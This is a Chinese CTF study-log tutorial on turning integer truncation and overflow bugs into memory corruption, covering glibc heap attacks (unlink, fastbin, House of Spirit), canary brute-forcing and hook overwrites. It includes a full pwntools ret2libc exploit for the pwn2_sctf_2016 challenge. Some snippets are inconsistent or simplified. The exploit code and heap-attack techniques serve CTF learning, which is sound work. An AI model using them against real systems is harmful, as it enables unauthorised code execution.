当前位置: 首页 > news >正文

【学习记录】Week8(四):从整数漏洞到堆溢出——实战利用与完整EXP构造

写在前面:在Week8的前三篇中,我们系统学习了整数溢出/下溢、符号转换与长度计算错误的原理,并探讨了它们如何导致堆溢出。今天,我们将迎来本周的收官之战——从理论走向实践,通过完整的实战案例,手把手教你如何将一个整数漏洞转化为堆溢出,最终实现任意代码执行csdn.net+1。

📑 目录

  1. 环境准备与工具链配置
  2. 漏洞分析与定位:从源码到二进制
  3. 堆布局与控制:精心设计的内存布局
  4. 利用技术详解:Unlink、Fastbin Attack与House of Spirit
  5. 实战案例完整解析:pwn2_sctf_2016
  6. 高级技巧与防护绕过
  7. 总结与进阶展望

1. 环境准备与工具链配置

在开始实战之前,我们需要搭建一个高效的漏洞利用分析环境。

1.1 基础环境搭建

# 更新系统并安装基础工具 sudo apt update && sudo apt install -y gdb python3-pip git gcc-multilib # 安装pwntools漏洞利用框架 pip3 install pwntools # 安装GDB插件pwndbg git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh

1.2 编译选项与保护机制

为了练习方便,我们通常关闭一些保护机制编译漏洞程序:

# 32位程序,关闭栈保护、NX、PIE,允许栈执行 gcc -m32 -fno-stack-protector -z execstack -no-pie -z norelro -o vuln vuln.c # 64位程序,关闭栈保护、NX、PIE gcc -fno-stack-protector -no-pie -z norelro -o vuln64 vuln64.c

1.3 工具链一览

工具用途推荐版本
GDB + pwndbg动态调试、内存分析GDB 9.2+, pwndbg latest
IDA Pro/Ghidra静态分析、反汇编IDA 7.7+, Ghidra 10.1+
pwntools漏洞利用开发、EXP构造Python 3.8+
checksec安全机制检查最新版
ROPgadgetROP链构造最新版
one_gadget查找libc中的execve(“/bin/sh”)最新版

<details> <summary>🔧 pwndbg常用命令速查</summary>

# 内存分析 vmmap # 查看内存映射 heap # 堆分析主命令 vis # 堆可视化 bins # 查看所有bin fastbins # 查看fastbin unsortedbin # 查看unsortedbin smallbins # 查看smallbin largebins # 查看largebin # 断点与调试 b *0x0804845c # 在地址处设置断点 b main # 在函数处设置断点 c # 继续执行 ni # 单步执行,不进入函数 si # 单步执行,进入函数 fin # 执行到函数返回 # 数据查看 stack 20 # 查看栈内容 regs # 查看寄存器 x/20wx 0x804a000 # 按格式查看内存 telescope 0x804a000 # 递归解引用指针

</details>

2. 漏洞分析与定位:从源码到二进制

2.1 漏洞程序源码分析

让我们从一个典型的整数漏洞程序开始github.com+1:

// vuln.c #include <stdio.h> #include <string.h> #include <stdlib.h> void validate_passwd(char *passwd) { char passwd_buf[11]; unsigned char passwd_len = strlen(passwd); // [1] 整数截断点 if (passwd_len >= 4 && passwd_len <= 8) { // [2] 长度检查 printf("Valid Password\n"); fflush(stdout); strcpy(passwd_buf, passwd); // [3] 栈溢出点 } else { printf("Invalid Password\n"); fflush(stdout); } } int main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s <password>\n", argv[0]); exit(-1); } validate_passwd(argv[1]); return 0; }

漏洞分析

  • [1]处,strlen()返回size_t(通常为unsigned int),但被赋值给unsigned char(8位),导致截断oschina.net+1。
  • 当输入长度为256+4=260时,strlen返回260,但passwd_len被截断为4260 % 256 = 4),满足passwd_len >= 4 && passwd_len <= 8的条件cnblogs.com。
  • [3]处,strcpy将超长字符串复制到passwd_buf,导致栈溢出。

2.2 二进制分析

使用IDA Pro或Ghidra进行反汇编分析:

; validate_passwd函数反汇编片段 push ebp mov ebp,esp sub esp,0x18 mov eax,DWORD PTR [argv] add eax,0x4 mov eax,DWORD PTR [eax] mov DWORD PTR [esp],eax call 0x8048300 <strlen@plt> mov BYTE PTR [ebp-0x9],al ; 注意:al是8位寄存器,截断发生在这里 cmp BYTE PTR [ebp-0x9],0x3 jbe 0x8048445 <invalid> cmp BYTE PTR [ebp-0x9],0x8 ja 0x8048445 <invalid> ; 通过检查,执行strcpy

关键点

  • mov BYTE PTR [ebp-0x9],al:将strlen的结果(32位)截断为8位存储到passwd_len
  • 后续的比较指令cmp BYTE PTR [ebp-0x9],0x3只比较了低8位,因此可以绕过长度检查。

2.3 使用GDB动态调试

# 启动GDB调试 gdb ./vuln # 设置断点 pwndbg> b *0x804843e # 在strlen调用后设置断点 pwndbg> b *0x8048454 # 在strcpy调用前设置断点 # 运行程序 pwndbg> run AAAA # 正常输入 pwndbg> run $(python -c "print('A'*260)") # 溢出输入 # 查看寄存器和内存 pwndbg> regs pwndbg> x/20wx $esp

3. 堆布局与控制:精心设计的内存布局

3.1 堆内存管理基础

在glibc的ptmalloc2中,堆内存被组织为多个chunkcsdn.net:

struct malloc_chunk { size_t prev_size; // 前一个chunk的大小(如果空闲) size_t size; // 当前chunk的大小,包括头部(低3位为标志位) union { struct { malloc_chunk* fd; // 前向指针(仅在空闲时使用) malloc_chunk* bk; // 后向指针(仅在空闲时使用) }; char user_data[0]; // 用户数据区(已分配时) }; };

关键标志位

  • PREV_INUSE(0x1): 前一个chunk是否在使用中
  • IS_MMAPPED(0x2): 是否通过mmap分配
  • NON_MAIN_ARENA(0x4): 是否属于非主arena

3.2 堆溢出策略

通过整数漏洞,我们可以控制堆分配的大小,从而实现以下堆布局:

整数漏洞触发
size = len1 + len2

错误的malloc参数
malloc(3)

分配过小堆块
实际仅3字节

越界写入
memcpy(ptr, src, 0x100000003)

覆盖相邻chunk元数据
fd/bk/size字段

利用触发
unlink/hook覆盖

控制流劫持

3.3 堆布局控制技术

为了成功利用堆溢出,我们需要精确控制堆布局:

  1. 堆风水:通过精心安排分配和释放顺序,使目标堆块位于可控位置freebuf.com。
  2. 堆整形:通过分配特定大小的堆块,影响堆管理器的行为,使堆布局符合预期。
  3. 元数据伪造:在溢出后,伪造相邻chunk的sizefdbk指针,为后续利用做准备。

<details> <summary>📖 堆布局实战示例</summary>

from pwn import * # 1. 创建堆布局 def create_heap_layout(): # 分配多个堆块,控制布局 ptr1 = malloc(0x18) # chunk1: 0x20大小(0x18数据 + 0x8头部) ptr2 = malloc(0x28) # chunk2: 0x30大小(目标堆块) ptr3 = malloc(0x18) # chunk3: 0x20大小(防止合并) # 释放ptr1,使其进入fastbin free(ptr1) # 此时堆布局: # [chunk1(空闲)] -> [chunk2(目标)] -> [chunk3(已分配)] # fastbin: chunk1 -> NULL return ptr2 # 返回目标堆块指针 # 2. 触发整数溢出,分配过小堆块 def trigger_integer_overflow(): # 假设漏洞函数:allocate_buffer(size) # 当size = 0xFFFFFFFF时,size + 1 = 0,malloc(0)返回一个小堆块 ptr = allocate_buffer(0xFFFFFFFF) return ptr # 3. 堆溢出,覆盖相邻chunk元数据 def heap_overflow(ptr, payload): # 假设漏洞函数:copy_data(ptr, data, len) # len = 0x100000000,但实际复制大量数据 copy_data(ptr, b'A' * 0x20 + p64(0x31) + p64(0) + p64(0x41414141), 0x100000000)

</details>

4. 利用技术详解:Unlink、Fastbin Attack与House of Spirit

4.1 Unlink攻击

利用条件

  1. 存在溢出可修改下一个chunk的sizeprev_size
  2. 可触发unlink操作(如free

攻击原理

// 伪造fake chunk fake_chunk = { .prev_size = 0, .size = 0x91, // 满足PREV_INUSE清除,触发unlink .fd = target_addr - 0x18, // 伪造fd指针 .bk = target_addr - 0x10 // 伪造bk指针 }; // 触发unlink时执行: // P->fd->bk = P->bk => *(target_addr - 0x18 + 0x18) = target_addr - 0x10 // P->bk->fd = P->fd => *(target_addr - 0x10 + 0x10) = target_addr - 0x18

效果:实现任意地址写入,可覆盖GOT表、__malloc_hook等关键位置csdn.net。

4.2 Fastbin Attack

利用条件

  1. 可控制fastbin链表的fd指针
  2. 可触发malloc从fastbin中取出chunk

攻击步骤

# 1. 伪造fastbin条目 fake_chunk = 0x08049000 # 伪造的chunk地址 fake_chunk_size = 0x29 # 伪造的size字段(满足fastbin要求) # 2. 溢出覆盖fastbin的fd指针 payload = p64(fake_chunk) # 将fd指针指向伪造地址 # 3. 连续malloc两次 malloc(0x28); # 第一次返回正常chunk malloc(0x28); # 第二次返回伪造地址处的chunk

效果:在任意地址分配chunk,实现任意地址写入freebuf.com。

4.3 House of Spirit

利用原理:通过在目标地址伪造一个合法的chunk结构,然后将其释放,使其被放入bin中,后续malloc时可再次获取该chunkcsdn.net。

// 伪造chunk struct { size_t prev_size; size_t size; char data[0]; } fake_chunk; fake_chunk.size = 0x41; // 满足fastbin要求 // ...在目标地址布置fake_chunk free(&fake_chunk); // 释放伪造chunk malloc(0x38); // 再次获取该chunk,实现任意地址写入

4.4 利用技术对比

技术利用条件效果难度适用场景
Unlink可控制chunk元数据任意地址写★★★★☆glibc < 2.29
Fastbin Attack可控制fastbin fd指针任意地址分配★★★☆☆glibc < 2.32
House of Spirit可伪造chunk结构任意地址释放★★★☆☆通用
Tcache Double Free可重复释放tcache chunk任意地址写★★☆☆☆glibc 2.26+

5. 实战案例完整解析:pwn2_sctf_2016

5.1 漏洞分析

程序源码csdn.net+1:

void vuln() { char buf[40]; unsigned int n; printf("How many bytes do you want me to read? "); scanf("%u", &n); get_n(buf, n); // 整数溢出点 puts(buf); } int get_n(char* buf, unsigned int len) { int count = 0; while (count < len) { buf[count] = getchar(); if (buf[count] == '\n') break; count++; } return count; }

漏洞点

  • get_n函数的len参数是unsigned int,但countint类型。
  • len很大时(如0xFFFFFFFF),count < len比较会转换为无符号比较,导致循环次数远超缓冲区大小。

5.2 利用思路

flowchart LR A[输入n=0xFFFFFFFF<br>触发整数溢出] --> B[get_n读取大量数据<br>导致栈溢出] B --> C[覆盖返回地址<br>控制EIP] C --> D[泄露libc地址<br>通过puts@plt] D --> E[计算system和/bin/sh地址] E --> F[构造ROP链<br>执行system('/bin/sh')]

5.3 完整EXP

from pwn import * # 1. 初始化环境 context.arch = 'i386' context.os = 'linux' context.log_level = 'debug' # 2. 加载目标程序 p = process('./pwn2_sctf_2016') elf = ELF('./pwn2_sctf_2016') libc = ELF('/lib/i386-linux-gnu/libc.so.6') # 3. 漏洞利用 def exploit(): # 3.1 触发整数溢出,读取大量数据 p.sendlineafter(b'read?', b'4294967295') # 0xFFFFFFFF # 3.2 构造栈溢出payload # buf距离返回地址的偏移:40字节buf + 4字节EBP = 44字节 payload = b'A' * 44 # 3.3 覆盖返回地址为puts@plt,泄露libc地址 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = elf.symbols['main'] # ROP链:puts(puts@got) -> main payload += p32(puts_plt) # 返回地址:puts函数 payload += p32(main_addr) # puts返回后执行的地址:main函数 payload += p32(puts_got) # puts函数的参数:puts@got p.sendline(payload) # 3.4 接收泄露的libc地址 p.recvuntil(b'\n') leaked_puts = u32(p.recv(4)) log.info(f"Leaked puts address: {hex(leaked_puts)}") # 3.5 计算libc基址和关键函数地址 libc_base = leaked_puts - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] bin_sh_addr = libc_base + libc.search(b'/bin/sh').__next__() log.info(f"libc base: {hex(libc_base)}") log.info(f"system address: {hex(system_addr)}") log.info(f"/bin/sh address: {hex(bin_sh_addr)}") # 3.6 第二次利用,执行system("/bin/sh") p.sendlineafter(b'read?', b'4294967295') payload2 = b'A' * 44 payload2 += p32(system_addr) # 返回地址:system函数 payload2 += p32(0xdeadbeef) # system返回后执行的地址(无效,但不影响) payload2 += p32(bin_sh_addr) # system函数的参数:"/bin/sh" p.sendline(payload2) # 3.7 获取交互式shell p.interactive() if __name__ == '__main__': exploit()

5.4 调试技巧

<details> <summary>⚙️ GDB调试过程</summary>

# 1. 设置断点 pwndbg> b *0x804844e # 在get_n函数调用处设置断点 pwndbg> b *0x8048460 # 在ret指令处设置断点 # 2. 运行程序 pwndbg> run # 3. 输入触发整数溢出 How many bytes do you want me to read? 4294967295 # 4. 查看栈布局 pwndbg> stack 30 pwndbg> x/30wx $esp # 5. 单步执行,观察数据复制过程 pwndbg> ni # 单步执行 pwndbg> ni # 继续单步 # ...观察buf缓冲区如何被溢出 # 6. 查看返回地址被覆盖 pwndbg> x/wx $ebp+4 # 查看返回地址

</details>

6. 高级技巧与防护绕过

6.1 绕过ASLR(地址空间布局随机化)

信息泄露技术

  1. 格式化字符串泄露:使用%p%x泄露栈上的libc地址tencent.com。
  2. GOT表泄露:通过putsprintf等函数泄露GOT表项。
  3. 堆地址泄露:通过UAF或堆溢出泄露堆指针。
# 格式化字符串泄露示例 p.sendline(b'%p.%p.%p.%p') leaked_data = p.recv() # 解析泄露的地址

6.2 绕过NX(栈不可执行)

ROP(Return-Oriented Programming)

# 查找ROP gadget rop = ROP(elf) rop.system(elf.symbols['system'], elf.symbols['exit']) rop.call('/bin/sh') # 自动生成ROP链 rop_chain = rop.chain()

6.3 绕过Canary(栈保护)

Canary泄露技术

  1. 逐字节爆破:通过逐字节比较泄露Canary。
  2. 格式化字符串泄露:使用%n直接读取Canary。
  3. SSP泄露:利用__stack_chk_fail函数泄露Canary。
# 逐字节爆破Canary canary = b'\x00' for i in range(3): for byte in range(256): p.sendline(b'A' * 24 + canary + bytes([byte])) response = p.recv() if b'Success' in response: canary += bytes([byte]) break

6.4 绕过Full RELRO(GOT表保护)

GOT表劫持替代方案

  1. __malloc_hook覆盖:覆盖__malloc_hookone_gadget
  2. __free_hook覆盖:覆盖__free_hooksystem
  3. 栈迁移:将栈迁移到可控区域,如BSS段。
# 覆盖__malloc_hook one_gadget = 0x0804854b # 示例地址 payload = p64(one_gadget) write_to_addr(libc.symbols['__malloc_hook'], payload)

7. 总结与进阶展望

7.1 核心知识点总结

  1. 整数漏洞是堆溢出的上游导火索:无符号整数回绕、有符号负数转换、宽度截断都可导致内存分配尺寸错误csdn.net+1。
  2. 堆溢出利用需要深入理解内存管理器:ptmalloc2的chunk结构、bin机制、first-fit算法都是利用基础csdn.net+1。
  3. 典型利用技术:Unlink攻击、Fastbin Attack、House of Spirit、Tcache Double Free各有适用场景csdn.net+1。
  4. 现代防护机制可被绕过:ASLR需信息泄露,Canary需部分覆盖,RELRO需GOT表可写。

7.2 易错点与注意事项

  1. 不要假设整数溢出后一定回绕:有符号溢出是未定义行为,不同编译器处理可能不同csdn.net。
  2. 注意隐式类型转换:有符号数与无符号数运算时,有符号数会被转换为无符号数oschina.net+1。
  3. 检查所有用户可控的数值输入:包括长度、索引、计数器、偏移量等csdn.net+1。
  4. 堆布局不可预测:ASLR、堆随机化使堆地址难以预测,需信息泄露。

7.3 进阶学习方向

<details> <summary>📚 推荐学习路径</summary>

  1. 内核堆利用:Linux内核slab/slub分配器,内核ROP
  2. JIT编译器漏洞:V8、SpiderMonkey中的整数溢出
  3. 嵌入式系统:RTOS堆实现差异,缺少防护机制
  4. 新型防护机制:MPX、CET、Shadow Stack
  5. 自动化漏洞挖掘:AFL、libFuzzer结合整数漏洞检测

</details>

7.4 下周预告 (Week9)

下周我们将进入格式化字符串漏洞的进阶世界,探讨:

  • 格式化字符串与堆漏洞的结合利用
  • 现代编译器对格式化字符串的防护及绕过
  • 真实CVE案例中的格式化字符串漏洞分析
  • 自动化检测与修复技术

📊 知识图谱总结

整数漏洞到堆溢出实战环境准备工具链配置:GDB + pwndbg:IDA Pro/Ghidra:pwntools编译选项:关闭保护机制:调试符号漏洞分析源码分析:整数截断:符号转换:长度检查绕过二进制分析:反汇编识别:GDB动态调试:内存布局分析堆布局控制堆风水:分配顺序控制:堆块位置预测堆整形:大小控制:bin分布影响元数据伪造:size字段:fd/bk指针利用技术Unlink攻击:伪造chunk:任意地址写:GOT表覆盖Fastbin Attack:控制fd指针:任意地址分配:House of SpiritTcache Double Free:链表破坏:任意地址写:glibc 2.26+实战案例pwn2_sctf_2016:整数溢出点:栈溢出触发:ROP链构造EXP编写:信息泄露:地址计算:shell获取防护绕过ASLR绕过:信息泄露:格式化字符串:GOT表泄露NX绕过:ROP链:ret2libcCanary绕过:逐字节爆破:格式化字符串泄露

最终结论:整数漏洞到堆溢出的转化是二进制安全中最重要的漏洞链之一。理解这一转化过程,不仅能帮助你发现和利用漏洞,更能让你写出更安全的代码。在攻防博弈中,谁先理解底层,谁就掌握了安全的主动权csdn.net+1。

参考文献

  1. int_overflow [XCTF-PWN]CTF writeup系列9
  2. 关于Heap Overflow(堆溢出)
  3. 如何利用Pwndbg高效调试整数溢出漏洞
  4. CTF PWN实战:手把手教你利用整数溢出漏洞攻破Overflow靶场
  5. 整数溢出漏洞利用:数字的"魔术把戏"如何让你获得Root权限
  6. CTF PWN实战:利用整数溢出漏洞攻破pwn2_sctf_2016
  7. 【C Prime Plus】学习笔记,Chapter 3, 整型溢出
  8. PWN INTEGER OVERFLOW 整数溢出
  9. CTF PWN实战:手把手教你利用整数溢出漏洞拿下Overflow靶机
  10. CTF PWN 总结
  11. 利用CTF-WIKI PWNheapcreator进行堆溢出与任意写
  12. 计算机系统解密:深入剖析整型溢出
  13. CTF-PWN: 学习堆利用你所需要知道的基础知识
  14. [BUUCFT]PWN——整数溢出漏洞实战:pwn2_sctf_2016的libc泄露与利用
  15. CTF PWN 实战:从漏洞分析到 Exploit 编写的全攻略
  16. PWN进阶路线图 | 从栈溢出到堆利用的实战指南
  17. 新手科普 CTF PWN堆溢出总结
  18. linux-exploit-development-tutorial/integer-overflow.md
  19. [二进制漏洞]PWN学习之整数溢出Win篇
  20. 2025 HKCERT CTF Writup
  21. Exploit for Integer Overflow or Wraparound in Linux Linux_Kernel
  22. 刷爆 CTF 赛场!50 个硬核解题思路
  23. CTF Pwn模块系列分享(三):溢出基础与ret2text漏洞利用
  24. 【integeroverflow】什么意思
  25. pwn刷题笔记(整数溢出)
  26. 强网杯S8初赛pwn writeup
  27. 【软件安全】Heap Overflow — Exploit Function Pointer
  28. CTF-PWN实战技能特训班教程资源
http://www.jsqmd.com/news/1112988/

相关文章:

  • foo2zjs实战手册:解锁Linux打印兼容性的开源技术伙伴
  • 连锁品牌策划设计公司怎么选?从东莞视维的品牌实践看全案逻辑
  • 当 AI Agent越来越像人,企业该怎么识别“好人/坏人”?
  • 特斯拉FSD演进:从模块化到端到端自动驾驶的技术革命
  • DeepSeek-V4定价逻辑:隐性成本优化与企业级AI落地新范式
  • C++ 在 Windows 下选择文件夹对话框(树形与文件管理型)详解
  • 2026年AI网站设计公司排名,品牌视觉定制企业盘点
  • 考试知识点梳理
  • GBase 8c数据库多模存储与多态部署简介
  • G-Helper终极指南:华硕笔记本色彩修复与性能优化完整方案
  • 近期AI量化工具选择,要服务从想法到Python实现
  • 5分钟掌握VinXiangQi:高效实用的AI象棋连线工具终极指南
  • 推荐国内海钓路亚品牌
  • AI学习机实用指南:如何选择真正匹配孩子认知节奏的学习系统
  • 【学习记录】Week9(一):glibc堆结构精读与堆风水方法论——堆利用的基石
  • Seedance2.0实测:轻量级AI短剧生成闭环工具链
  • C++面向对象编程(OOP)核心:类与对象全面精讲
  • 2026年先进的算法、机器学习与数据科学国际会议(AAMLDS 2026)
  • 20260602 Ceph 文件系统
  • Qwen3.6-35B-A3B在AMD与NVIDIA桌面一体机上的实测对比
  • Linux CPU瓶颈排查神器!mpstat命令超全详解|多核CPU精准监控
  • AI的灵感创作
  • 大模型轻量化推理技术选型与实践指南
  • 4K60 over IP 网线延长pcba芯片方案
  • 鸿蒙NEXT原生开发实战:用ArkTS+ArkUI从零构建智能礼物推荐应用
  • 基于鸿蒙NEXT的AI健康管家应用开发全解析:从零构建离线智能健康推荐引擎
  • 多模型路由网关实战:Node.js安全接入Claude与GPT-4o
  • MuleSoft实现企业级AI编排:LLM与ERP/CRM/SAP的可靠集成
  • DeepSeek V4本地部署三步落地:GGUF量化、API代理与中文Tokenizer实战
  • 5个大模型写Todo List实测:前端代码生成能力深度拆解